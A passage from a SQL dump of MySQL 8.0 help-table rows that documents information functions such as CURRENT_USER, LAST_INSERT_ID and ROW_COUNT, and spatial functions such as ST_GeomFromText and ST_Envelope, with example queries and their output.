23786\n','https://dev.mysql.com/doc/refman/8.0/en/information-functions.html'),(277,'CURRENT_ROLE',21,'CURRENT_ROLE()\n\nReturns a utf8mb3 string containing the current active roles for the\ncurrent session, separated by commas, or NONE if there are none. The\nvalue reflects the setting of the sql_quote_show_create system\nvariable.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/information-functions.html\n\n','GRANT \'r1\', \'r2\' TO \'u1\'@\'localhost\';\nSET DEFAULT ROLE ALL TO \'u1\'@\'localhost\';\n\nmysql> SELECT CURRENT_ROLE();\n+-------------------+\n| CURRENT_ROLE() |\n+-------------------+\n| `r1`@`%`,`r2`@`%` |\n+-------------------+\nmysql> SET ROLE \'r1\'; SELECT CURRENT_ROLE();\n+----------------+\n| CURRENT_ROLE() |\n+----------------+\n| `r1`@`%` |\n+----------------+\n','https://dev.mysql.com/doc/refman/8.0/en/information-functions.html'),(278,'CURRENT_USER',21,'Syntax:\nCURRENT_USER, CURRENT_USER()\n\nReturns the user name and host name combination for the MySQL account\nthat the server used to authenticate the current client. This account\ndetermines your access privileges. The return value is a string in the\nutf8mb3 character set.\n\nThe value of CURRENT_USER() can differ from the value of USER().\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/information-functions.html\n\n','mysql> SELECT USER();\n -> \'davida@localhost\'\nmysql> SELECT * FROM mysql.user;\nERROR 1044: Access denied for user \'\'@\'localhost\' to\ndatabase \'mysql\'\nmysql> SELECT CURRENT_USER();\n -> \'@localhost\'\n','https://dev.mysql.com/doc/refman/8.0/en/information-functions.html'),(279,'DATABASE',21,'Syntax:\nDATABASE()\n\nReturns the default (current) database name as a string in the utf8mb3\ncharacter set. If there is no default database, DATABASE() returns\nNULL. Within a stored routine, the default database is the database\nthat the routine is associated with, which is not necessarily the same\nas the database that is the default in the calling context.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/information-functions.html\n\n','mysql> SELECT DATABASE();\n -> \'test\'\n','https://dev.mysql.com/doc/refman/8.0/en/information-functions.html'),(280,'FOUND_ROWS',21,'Syntax:\nFOUND_ROWS()\n\n*Note*:\n\nThe SQL_CALC_FOUND_ROWS query modifier and accompanying FOUND_ROWS()\nfunction are deprecated as of MySQL 8.0.17; expect them to be removed\nin a future version of MySQL. As a replacement, considering executing\nyour query with LIMIT, and then a second query with COUNT(*) and\nwithout LIMIT to determine whether there are additional rows. For\nexample, instead of these queries:\n\nSELECT SQL_CALC_FOUND_ROWS * FROM tbl_name WHERE id > 100 LIMIT 10;\nSELECT FOUND_ROWS();\n\nUse these queries instead:\n\nSELECT * FROM tbl_name WHERE id > 100 LIMIT 10;\nSELECT COUNT(*) FROM tbl_name WHERE id > 100;\n\nCOUNT(*) is subject to certain optimizations. SQL_CALC_FOUND_ROWS\ncauses some optimizations to be disabled.\n\nA SELECT statement may include a LIMIT clause to restrict the number of\nrows the server returns to the client. In some cases, it is desirable\nto know how many rows the statement would have returned without the\nLIMIT, but without running the statement again. To obtain this row\ncount, include an SQL_CALC_FOUND_ROWS option in the SELECT statement,\nand then invoke FOUND_ROWS() afterward:\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/information-functions.html\n\n','mysql> SELECT SQL_CALC_FOUND_ROWS * FROM tbl_name\n -> WHERE id > 100 LIMIT 10;\nmysql> SELECT FOUND_ROWS();\n','https://dev.mysql.com/doc/refman/8.0/en/information-functions.html'),(281,'ICU_VERSION',21,'ICU_VERSION()\n\nThe version of the International Components for Unicode (ICU) library\nused to support regular expression operations (see\nhttps://dev.mysql.com/doc/refman/8.0/en/regexp.html). This function is\nprimarily intended for use in test cases.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/information-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/information-functions.html'),(282,'LAST_INSERT_ID',21,'Syntax:\nLAST_INSERT_ID(), LAST_INSERT_ID(expr)\n\nWith no argument, LAST_INSERT_ID() returns a BIGINT UNSIGNED (64-bit)\nvalue representing the first automatically generated value successfully\ninserted for an AUTO_INCREMENT column as a result of the most recently\nexecuted INSERT statement. The value of LAST_INSERT_ID() remains\nunchanged if no rows are successfully inserted.\n\nWith an argument, LAST_INSERT_ID() returns an unsigned integer, or NULL\nif the argument is NULL.\n\nFor example, after inserting a row that generates an AUTO_INCREMENT\nvalue, you can get the value like this:\n\nmysql> SELECT LAST_INSERT_ID();\n -> 195\n\nThe currently executing statement does not affect the value of\nLAST_INSERT_ID(). Suppose that you generate an AUTO_INCREMENT value\nwith one statement, and then refer to LAST_INSERT_ID() in a\nmultiple-row INSERT statement that inserts rows into a table with its\nown AUTO_INCREMENT column. The value of LAST_INSERT_ID() remains stable\nin the second statement; its value for the second and later rows is not\naffected by the earlier row insertions. (You should be aware that, if\nyou mix references to LAST_INSERT_ID() and LAST_INSERT_ID(expr), the\neffect is undefined.)\n\nIf the previous statement returned an error, the value of\nLAST_INSERT_ID() is undefined. For transactional tables, if the\nstatement is rolled back due to an error, the value of LAST_INSERT_ID()\nis left undefined. For manual ROLLBACK, the value of LAST_INSERT_ID()\nis not restored to that before the transaction; it remains as it was at\nthe point of the ROLLBACK.\n\nWithin the body of a stored routine (procedure or function) or a\ntrigger, the value of LAST_INSERT_ID() changes the same way as for\nstatements executed outside the body of these kinds of objects. The\neffect of a stored routine or trigger upon the value of\nLAST_INSERT_ID() that is seen by following statements depends on the\nkind of routine:\n\no If a stored procedure executes statements that change the value of\n LAST_INSERT_ID(), the changed value is seen by statements that follow\n the procedure call.\n\no For stored functions and triggers that change the value, the value is\n restored when the function or trigger ends, so statements coming\n after it do not see a changed value.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/information-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/information-functions.html'),(283,'ROLES_GRAPHML',21,'ROLES_GRAPHML()\n\nReturns a utf8mb3 string containing a GraphML document representing\nmemory role subgraphs. The ROLE_ADMIN privilege (or the deprecated\nSUPER privilege) is required to see content in the element.\nOtherwise, the result shows only an empty element:\n\nmysql> SELECT ROLES_GRAPHML();\n+---------------------------------------------------+\n| ROLES_GRAPHML() |\n+---------------------------------------------------+\n| |\n+---------------------------------------------------+\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/information-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/information-functions.html'),(284,'ROW_COUNT',21,'Syntax:\nROW_COUNT()\n\nROW_COUNT() returns a value as follows:\n\no DDL statements: 0. This applies to statements such as CREATE TABLE or\n DROP TABLE.\n\no DML statements other than SELECT: The number of affected rows. This\n applies to statements such as UPDATE, INSERT, or DELETE (as before),\n but now also to statements such as ALTER TABLE and LOAD DATA.\n\no SELECT: -1 if the statement returns a result set, or the number of\n rows \"affected\" if it does not. For example, for SELECT * FROM t1,\n ROW_COUNT() returns -1. For SELECT * FROM t1 INTO OUTFILE\n \'file_name\', ROW_COUNT() returns the number of rows written to the\n file.\n\no SIGNAL statements: 0.\n\nFor UPDATE statements, the affected-rows value by default is the number\nof rows actually changed. If you specify the CLIENT_FOUND_ROWS flag to\nmysql_real_connect()\n(https://dev.mysql.com/doc/c-api/8.0/en/mysql-real-connect.html) when\nconnecting to mysqld, the affected-rows value is the number of rows\n\"found\"; that is, matched by the WHERE clause.\n\nFor REPLACE statements, the affected-rows value is 2 if the new row\nreplaced an old row, because in this case, one row was inserted after\nthe duplicate was deleted.\n\nFor INSERT ... ON DUPLICATE KEY UPDATE statements, the affected-rows\nvalue per row is 1 if the row is inserted as a new row, 2 if an\nexisting row is updated, and 0 if an existing row is set to its current\nvalues. If you specify the CLIENT_FOUND_ROWS flag, the affected-rows\nvalue is 1 (not 0) if an existing row is set to its current values.\n\nThe ROW_COUNT() value is similar to the value from the\nmysql_affected_rows()\n(https://dev.mysql.com/doc/c-api/8.0/en/mysql-affected-rows.html) C API\nfunction and the row count that the mysql client displays following\nstatement execution.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/information-functions.html\n\n','mysql> INSERT INTO t VALUES(1),(2),(3);\nQuery OK, 3 rows affected (0.00 sec)\nRecords: 3 Duplicates: 0 Warnings: 0\n\nmysql> SELECT ROW_COUNT();\n+-------------+\n| ROW_COUNT() |\n+-------------+\n| 3 |\n+-------------+\n1 row in set (0.00 sec)\n\nmysql> DELETE FROM t WHERE i IN(1,2);\nQuery OK, 2 rows affected (0.00 sec)\n\nmysql> SELECT ROW_COUNT();\n+-------------+\n| ROW_COUNT() |\n+-------------+\n| 2 |\n+-------------+\n1 row in set (0.00 sec)\n','https://dev.mysql.com/doc/refman/8.0/en/information-functions.html'),(285,'SCHEMA',21,'Syntax:\nSCHEMA()\n\nThis function is a synonym for DATABASE().\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/information-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/information-functions.html'),(286,'SESSION_USER',21,'Syntax:\nSESSION_USER()\n\nSESSION_USER() is a synonym for USER().\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/information-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/information-functions.html'),(287,'SYSTEM_USER',21,'Syntax:\nSYSTEM_USER()\n\nSYSTEM_USER() is a synonym for USER().\n\n*Note*:\n\nThe SYSTEM_USER() function is distinct from the SYSTEM_USER privilege.\nThe former returns the current MySQL account name. The latter\ndistinguishes the system user and regular user account categories (see\nhttps://dev.mysql.com/doc/refman/8.0/en/account-categories.html).\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/information-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/information-functions.html'),(288,'USER',21,'Syntax:\nUSER()\n\nReturns the current MySQL user name and host name as a string in the\nutf8mb3 character set.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/information-functions.html\n\n','mysql> SELECT USER();\n -> \'davida@localhost\'\n','https://dev.mysql.com/doc/refman/8.0/en/information-functions.html'),(289,'VERSION',21,'Syntax:\nVERSION()\n\nReturns a string that indicates the MySQL server version. The string\nuses the utf8mb3 character set. The value might have a suffix in\naddition to the version number. See the description of the version\nsystem variable in\nhttps://dev.mysql.com/doc/refman/8.0/en/server-system-variables.html.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/information-functions.html\n\n','mysql> SELECT VERSION();\n -> \'8.0.39-standard\'\n','https://dev.mysql.com/doc/refman/8.0/en/information-functions.html'),(290,'ST_GEOMCOLLFROMTEXT',23,'ST_GeomCollFromText(wkt [, srid [, options]]),\nST_GeometryCollectionFromText(wkt [, srid [, options]]),\nST_GeomCollFromTxt(wkt [, srid [, options]])\n\nConstructs a GeometryCollection value using its WKT representation and\nSRID.\n\nThese functions handle their arguments as described in the introduction\nto this section.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/gis-wkt-functions.html\n\n','mysql> SET @g = \"MULTILINESTRING((10 10, 11 11), (9 9, 10 10))\";\nmysql> SELECT ST_AsText(ST_GeomCollFromText(@g));\n+--------------------------------------------+\n| ST_AsText(ST_GeomCollFromText(@g)) |\n+--------------------------------------------+\n| MULTILINESTRING((10 10,11 11),(9 9,10 10)) |\n+--------------------------------------------+\n','https://dev.mysql.com/doc/refman/8.0/en/gis-wkt-functions.html'),(291,'ST_GEOMFROMTEXT',23,'ST_GeomFromText(wkt [, srid [, options]]), ST_GeometryFromText(wkt [,\nsrid [, options]])\n\nConstructs a geometry value of any type using its WKT representation\nand SRID.\n\nThese functions handle their arguments as described in the introduction\nto this section.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/gis-wkt-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/gis-wkt-functions.html'),(292,'ST_LINEFROMTEXT',23,'ST_LineFromText(wkt [, srid [, options]]), ST_LineStringFromText(wkt [,\nsrid [, options]])\n\nConstructs a LineString value using its WKT representation and SRID.\n\nThese functions handle their arguments as described in the introduction\nto this section.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/gis-wkt-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/gis-wkt-functions.html'),(293,'ST_MLINEFROMTEXT',23,'ST_MLineFromText(wkt [, srid [, options]]),\nST_MultiLineStringFromText(wkt [, srid [, options]])\n\nConstructs a MultiLineString value using its WKT representation and\nSRID.\n\nThese functions handle their arguments as described in the introduction\nto this section.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/gis-wkt-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/gis-wkt-functions.html'),(294,'ST_MPOINTFROMTEXT',23,'ST_MPointFromText(wkt [, srid [, options]]), ST_MultiPointFromText(wkt\n[, srid [, options]])\n\nConstructs a MultiPoint value using its WKT representation and SRID.\n\nThese functions handle their arguments as described in the introduction\nto this section.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/gis-wkt-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/gis-wkt-functions.html'),(295,'ST_MPOLYFROMTEXT',23,'ST_MPolyFromText(wkt [, srid [, options]]), ST_MultiPolygonFromText(wkt\n[, srid [, options]])\n\nConstructs a MultiPolygon value using its WKT representation and SRID.\n\nThese functions handle their arguments as described in the introduction\nto this section.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/gis-wkt-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/gis-wkt-functions.html'),(296,'ST_POINTFROMTEXT',23,'ST_PointFromText(wkt [, srid [, options]])\n\nConstructs a Point value using its WKT representation and SRID.\n\nST_PointFromText() handles its arguments as described in the\nintroduction to this section.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/gis-wkt-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/gis-wkt-functions.html'),(297,'ST_POLYFROMTEXT',23,'ST_PolyFromText(wkt [, srid [, options]]), ST_PolygonFromText(wkt [,\nsrid [, options]])\n\nConstructs a Polygon value using its WKT representation and SRID.\n\nThese functions handle their arguments as described in the introduction\nto this section.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/gis-wkt-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/gis-wkt-functions.html'),(298,'ST_GEOMCOLLFROMWKB',24,'ST_GeomCollFromWKB(wkb [, srid [, options]]),\nST_GeometryCollectionFromWKB(wkb [, srid [, options]])\n\nConstructs a GeometryCollection value using its WKB representation and\nSRID.\n\nThese functions handle their arguments as described in the introduction\nto this section.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/gis-wkb-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/gis-wkb-functions.html'),(299,'ST_GEOMFROMWKB',24,'ST_GeomFromWKB(wkb [, srid [, options]]), ST_GeometryFromWKB(wkb [,\nsrid [, options]])\n\nConstructs a geometry value of any type using its WKB representation\nand SRID.\n\nThese functions handle their arguments as described in the introduction\nto this section.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/gis-wkb-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/gis-wkb-functions.html'),(300,'ST_LINEFROMWKB',24,'ST_LineFromWKB(wkb [, srid [, options]]), ST_LineStringFromWKB(wkb [,\nsrid [, options]])\n\nConstructs a LineString value using its WKB representation and SRID.\n\nThese functions handle their arguments as described in the introduction\nto this section.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/gis-wkb-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/gis-wkb-functions.html'),(301,'ST_MLINEFROMWKB',24,'ST_MLineFromWKB(wkb [, srid [, options]]),\nST_MultiLineStringFromWKB(wkb [, srid [, options]])\n\nConstructs a MultiLineString value using its WKB representation and\nSRID.\n\nThese functions handle their arguments as described in the introduction\nto this section.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/gis-wkb-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/gis-wkb-functions.html'),(302,'ST_MPOINTFROMWKB',24,'ST_MPointFromWKB(wkb [, srid [, options]]), ST_MultiPointFromWKB(wkb [,\nsrid [, options]])\n\nConstructs a MultiPoint value using its WKB representation and SRID.\n\nThese functions handle their arguments as described in the introduction\nto this section.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/gis-wkb-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/gis-wkb-functions.html'),(303,'ST_MPOLYFROMWKB',24,'ST_MPolyFromWKB(wkb [, srid [, options]]), ST_MultiPolygonFromWKB(wkb\n[, srid [, options]])\n\nConstructs a MultiPolygon value using its WKB representation and SRID.\n\nThese functions handle their arguments as described in the introduction\nto this section.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/gis-wkb-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/gis-wkb-functions.html'),(304,'ST_POINTFROMWKB',24,'ST_PointFromWKB(wkb [, srid [, options]])\n\nConstructs a Point value using its WKB representation and SRID.\n\nST_PointFromWKB() handles its arguments as described in the\nintroduction to this section.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/gis-wkb-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/gis-wkb-functions.html'),(305,'ST_POLYFROMWKB',24,'ST_PolyFromWKB(wkb [, srid [, options]]), ST_PolygonFromWKB(wkb [, srid\n[, options]])\n\nConstructs a Polygon value using its WKB representation and SRID.\n\nThese functions handle their arguments as described in the introduction\nto this section.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/gis-wkb-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/gis-wkb-functions.html'),(306,'GEOMCOLLECTION',25,'GeomCollection(g [, g] ...)\n\nConstructs a GeomCollection value from the geometry arguments.\n\nGeomCollection() returns all the proper geometries contained in the\narguments even if a nonsupported geometry is present.\n\nGeomCollection() with no arguments is permitted as a way to create an\nempty geometry. Also, functions such as ST_GeomFromText() that accept\nWKT geometry collection arguments understand both OpenGIS\n\'GEOMETRYCOLLECTION EMPTY\' standard syntax and MySQL\n\'GEOMETRYCOLLECTION()\' nonstandard syntax.\n\nGeomCollection() and GeometryCollection() are synonymous, with\nGeomCollection() the preferred function.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/gis-mysql-specific-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/gis-mysql-specific-functions.html'),(307,'GEOMETRYCOLLECTION',25,'GeometryCollection(g [, g] ...)\n\nConstructs a GeomCollection value from the geometry arguments.\n\nGeometryCollection() returns all the proper geometries contained in the\narguments even if a nonsupported geometry is present.\n\nGeometryCollection() with no arguments is permitted as a way to create\nan empty geometry. Also, functions such as ST_GeomFromText() that\naccept WKT geometry collection arguments understand both OpenGIS\n\'GEOMETRYCOLLECTION EMPTY\' standard syntax and MySQL\n\'GEOMETRYCOLLECTION()\' nonstandard syntax.\n\nGeomCollection() and GeometryCollection() are synonymous, with\nGeomCollection() the preferred function.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/gis-mysql-specific-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/gis-mysql-specific-functions.html'),(308,'LINESTRING',25,'LineString(pt [, pt] ...)\n\nConstructs a LineString value from a number of Point or WKB Point\narguments. If the number of arguments is less than two, the return\nvalue is NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/gis-mysql-specific-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/gis-mysql-specific-functions.html'),(309,'MULTILINESTRING',25,'MultiLineString(ls [, ls] ...)\n\nConstructs a MultiLineString value using LineString or WKB LineString\narguments.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/gis-mysql-specific-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/gis-mysql-specific-functions.html'),(310,'MULTIPOINT',25,'MultiPoint(pt [, pt2] ...)\n\nConstructs a MultiPoint value using Point or WKB Point arguments.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/gis-mysql-specific-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/gis-mysql-specific-functions.html'),(311,'MULTIPOLYGON',25,'MultiPolygon(poly [, poly] ...)\n\nConstructs a MultiPolygon value from a set of Polygon or WKB Polygon\narguments.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/gis-mysql-specific-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/gis-mysql-specific-functions.html'),(312,'POINT',25,'Point(x, y)\n\nConstructs a Point using its coordinates.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/gis-mysql-specific-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/gis-mysql-specific-functions.html'),(313,'POLYGON',25,'Polygon(ls [, ls] ...)\n\nConstructs a Polygon value from a number of LineString or WKB\nLineString arguments. If any argument does not represent a LinearRing\n(that is, not a closed and simple LineString), the return value is\nNULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/gis-mysql-specific-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/gis-mysql-specific-functions.html'),(314,'ST_ASBINARY',24,'ST_AsBinary(g [, options]), ST_AsWKB(g [, options])\n\nConverts a value in internal geometry format to its WKB representation\nand returns the binary result.\n\nThe function return value has geographic coordinates (latitude,\nlongitude) in the order specified by the spatial reference system that\napplies to the geometry argument. An optional options argument may be\ngiven to override the default axis order.\n\nST_AsBinary() and ST_AsWKB() handle their arguments as described in the\nintroduction to this section.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/gis-format-conversion-functions.html\n\n','mysql> SET @g = ST_LineFromText(\'LINESTRING(0 5,5 10,10 15)\', 4326);\nmysql> SELECT ST_AsText(ST_GeomFromWKB(ST_AsWKB(@g)));\n+-----------------------------------------+\n| ST_AsText(ST_GeomFromWKB(ST_AsWKB(@g))) |\n+-----------------------------------------+\n| LINESTRING(5 0,10 5,15 10) |\n+-----------------------------------------+\nmysql> SELECT ST_AsText(ST_GeomFromWKB(ST_AsWKB(@g, \'axis-order=long-lat\')));\n+----------------------------------------------------------------+\n| ST_AsText(ST_GeomFromWKB(ST_AsWKB(@g, \'axis-order=long-lat\'))) |\n+----------------------------------------------------------------+\n| LINESTRING(0 5,5 10,10 15) |\n+----------------------------------------------------------------+\nmysql> SELECT ST_AsText(ST_GeomFromWKB(ST_AsWKB(@g, \'axis-order=lat-long\')));\n+----------------------------------------------------------------+\n| ST_AsText(ST_GeomFromWKB(ST_AsWKB(@g, \'axis-order=lat-long\'))) |\n+----------------------------------------------------------------+\n| LINESTRING(5 0,10 5,15 10) |\n+----------------------------------------------------------------+\n','https://dev.mysql.com/doc/refman/8.0/en/gis-format-conversion-functions.html'),(315,'ST_ASTEXT',24,'ST_AsText(g [, options]), ST_AsWKT(g [, options])\n\nConverts a value in internal geometry format to its WKT representation\nand returns the string result.\n\nThe function return value has geographic coordinates (latitude,\nlongitude) in the order specified by the spatial reference system that\napplies to the geometry argument. An optional options argument may be\ngiven to override the default axis order.\n\nST_AsText() and ST_AsWKT() handle their arguments as described in the\nintroduction to this section.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/gis-format-conversion-functions.html\n\n','mysql> SET @g = \'LineString(1 1,2 2,3 3)\';\nmysql> SELECT ST_AsText(ST_GeomFromText(@g));\n+--------------------------------+\n| ST_AsText(ST_GeomFromText(@g)) |\n+--------------------------------+\n| LINESTRING(1 1,2 2,3 3) |\n+--------------------------------+\n','https://dev.mysql.com/doc/refman/8.0/en/gis-format-conversion-functions.html'),(316,'ST_SWAPXY',24,'ST_SwapXY(g)\n\nAccepts an argument in internal geometry format, swaps the X and Y\nvalues of each coordinate pair within the geometry, and returns the\nresult.\n\nST_SwapXY() handles its arguments as described in the introduction to\nthis section.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/gis-format-conversion-functions.html\n\n','mysql> SET @g = ST_LineFromText(\'LINESTRING(0 5,5 10,10 15)\');\nmysql> SELECT ST_AsText(@g);\n+----------------------------+\n| ST_AsText(@g) |\n+----------------------------+\n| LINESTRING(0 5,5 10,10 15) |\n+----------------------------+\nmysql> SELECT ST_AsText(ST_SwapXY(@g));\n+----------------------------+\n| ST_AsText(ST_SwapXY(@g)) |\n+----------------------------+\n| LINESTRING(5 0,10 5,15 10) |\n+----------------------------+\n','https://dev.mysql.com/doc/refman/8.0/en/gis-format-conversion-functions.html'),(317,'ST_DIMENSION',26,'ST_Dimension(g)\n\nReturns the inherent dimension of the geometry value g. The dimension\ncan be −1, 0, 1, or 2. The meaning of these values is given in\nhttps://dev.mysql.com/doc/refman/8.0/en/gis-class-geometry.html.\n\nST_Dimension() handles its arguments as described in the introduction\nto this section.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/gis-general-property-functions.html\n\n','mysql> SELECT ST_Dimension(ST_GeomFromText(\'LineString(1 1,2 2)\'));\n+------------------------------------------------------+\n| ST_Dimension(ST_GeomFromText(\'LineString(1 1,2 2)\')) |\n+------------------------------------------------------+\n| 1 |\n+------------------------------------------------------+\n','https://dev.mysql.com/doc/refman/8.0/en/gis-general-property-functions.html'),(318,'ST_ENVELOPE',26,'ST_Envelope(g)\n\nReturns the minimum bounding rectangle (MBR) for the geometry value g.\nThe result is returned as a Polygon value that is defined by the corner\npoints of the bounding box:\n\nPOLYGON((MINX MINY, MAXX MINY, MAXX MAXY, MINX MAXY, MINX MINY))\n\nmysql> SELECT ST_AsText(ST_Envelope(ST_GeomFromText(\'LineString(1 1,2 2)\')));\n+----------------------------------------------------------------+\n| ST_AsText(ST_Envelope(ST_GeomFromText(\'LineString(1 1,2 2)\'))) |\n+----------------------------------------------------------------+\n| POLYGON((1 1,2 1,2 2,1 2,1 1)) |\n+----------------------------------------------------------------+\n\nIf the argument is a point or a vertical or horizontal line segment,\nST_Envelope() returns the point or the line segment as its MBR rather\nthan returning an invalid polygon:\n\nmysql> SELECT ST_AsText(ST_Envelope(ST_GeomFromText(\'LineString(1 1,1 2)\')));\n+----------------------------------------------------------------+\n| ST_AsText(ST_Envelope(ST_GeomFromText(\'LineString(1 1,1 2)\'))) |\n+----------------------------------------------------------------+\n| LINESTRING(1 1,1 2) |\n+----------------------------------------------------------------+\n\nST_Envelope() handles its arguments as described in the introduction to\nthis section, with this exception:\n\no If the geometry has an SRID value for a geographic spatial reference\n system (SRS), an ER_NOT_IMPLEMENTED_FOR_GEOGRAPHIC_SRS\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference\n .html#error_er_not_implemented_for_geographic_srs) error occurs.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/gis-general-property-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/gis-general-property-functions.html'),(319,'ST_GEOMETRYTYPE',26,'ST_GeometryType(g)\n\nReturns a binary string indicating the name of the geometry type of\nwhich the geometry instance g is a member. The name corresponds to one\nof the instantiable Geometry subclasses.\n\nST_GeometryType() handles its arguments as described in the\nintroduction to this section.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/gis-general-property-functions.html\n\n','mysql> SELECT ST_GeometryType(ST_GeomFromText(\'POINT(1 1)\'));\n+------------------------------------------------+\n| ST_GeometryType(ST_GeomFromText(\'POINT(1 1)\')) |\n+------------------------------------------------+\n| POINT |\n+------------------------------------------------+\n','https://dev.mysql.com/doc/refman/8.0/en/gis-general-property-functions.html'),(320,'ST_ISEMPTY',26,'ST_IsEmpty(g)\n\nThis function is a placeholder that returns 1 for an empty geometry\ncollection value or 0 otherwise.\n\nThe only valid empty geometry is represented in the form of an empty\ngeometry collection value. MySQL does not support GIS EMPTY values such\nas POINT EMPTY.\n\nST_IsEmpty() handles its arguments as described in the introduction to\nthis section.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/gis-general-property-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/gis-general-property-functions.html'),(321,'ST_ISSIMPLE',26,'ST_IsSimple(g)\n\nReturns 1 if the geometry value g is simple according to the ISO SQL/MM\nPart 3: Spatial standard. ST_IsSimple() returns 0 if the argument is\nnot simple.\n\nThe descriptions of the instantiable geometric classes given under\nhttps://dev.mysql.com/doc/refman/8.0/en/opengis-geometry-model.html\ninclude the specific conditions that cause class instances to be\nclassified as not simple.\n\nST_IsSimple() handles its arguments as described in the introduction to\nthis section, with this exception:\n\no If the geometry has a geographic SRS with a longitude or latitude\n that is out of range, an error occurs:\n\n o If a longitude value is not in the range (−180, 180], an\n ER_GEOMETRY_PARAM_LONGITUDE_OUT_OF_RANGE\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-referen\n ce.html#error_er_geometry_param_longitude_out_of_range) error\n occurs (ER_LONGITUDE_OUT_OF_RANGE\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-referen\n ce.html#error_er_longitude_out_of_range) prior to MySQL 8.0.12).\n\n o If a latitude value is not in the range [−90, 90], an\n ER_GEOMETRY_PARAM_LATITUDE_OUT_OF_RANGE\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-referen\n ce.html#error_er_geometry_param_latitude_out_of_range) error occurs\n (ER_LATITUDE_OUT_OF_RANGE\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-referen\n ce.html#error_er_latitude_out_of_range) prior to MySQL 8.0.12).\n\n Ranges shown are in degrees. The exact range limits deviate slightly\n due to floating-point arithmetic.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/gis-general-property-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/gis-general-property-functions.html'),(322,'ST_SRID',26,'ST_SRID(g [, srid])\n\nWith a single argument representing a valid geometry object g,\nST_SRID() returns an integer indicating the ID of the spatial reference\nsystem (SRS) associated with g.\n\nWith the optional second argument representing a valid SRID value,\nST_SRID() returns an object with the same type as its first argument\nwith an SRID value equal to the second argument. This only sets the\nSRID value of the object; it does not perform any transformation of\ncoordinate values.\n\nST_SRID() handles its arguments as described in the introduction to\nthis section, with this exception:\n\no For the single-argument syntax, ST_SRID() returns the geometry SRID\n even if it refers to an undefined SRS. An ER_SRS_NOT_FOUND\n 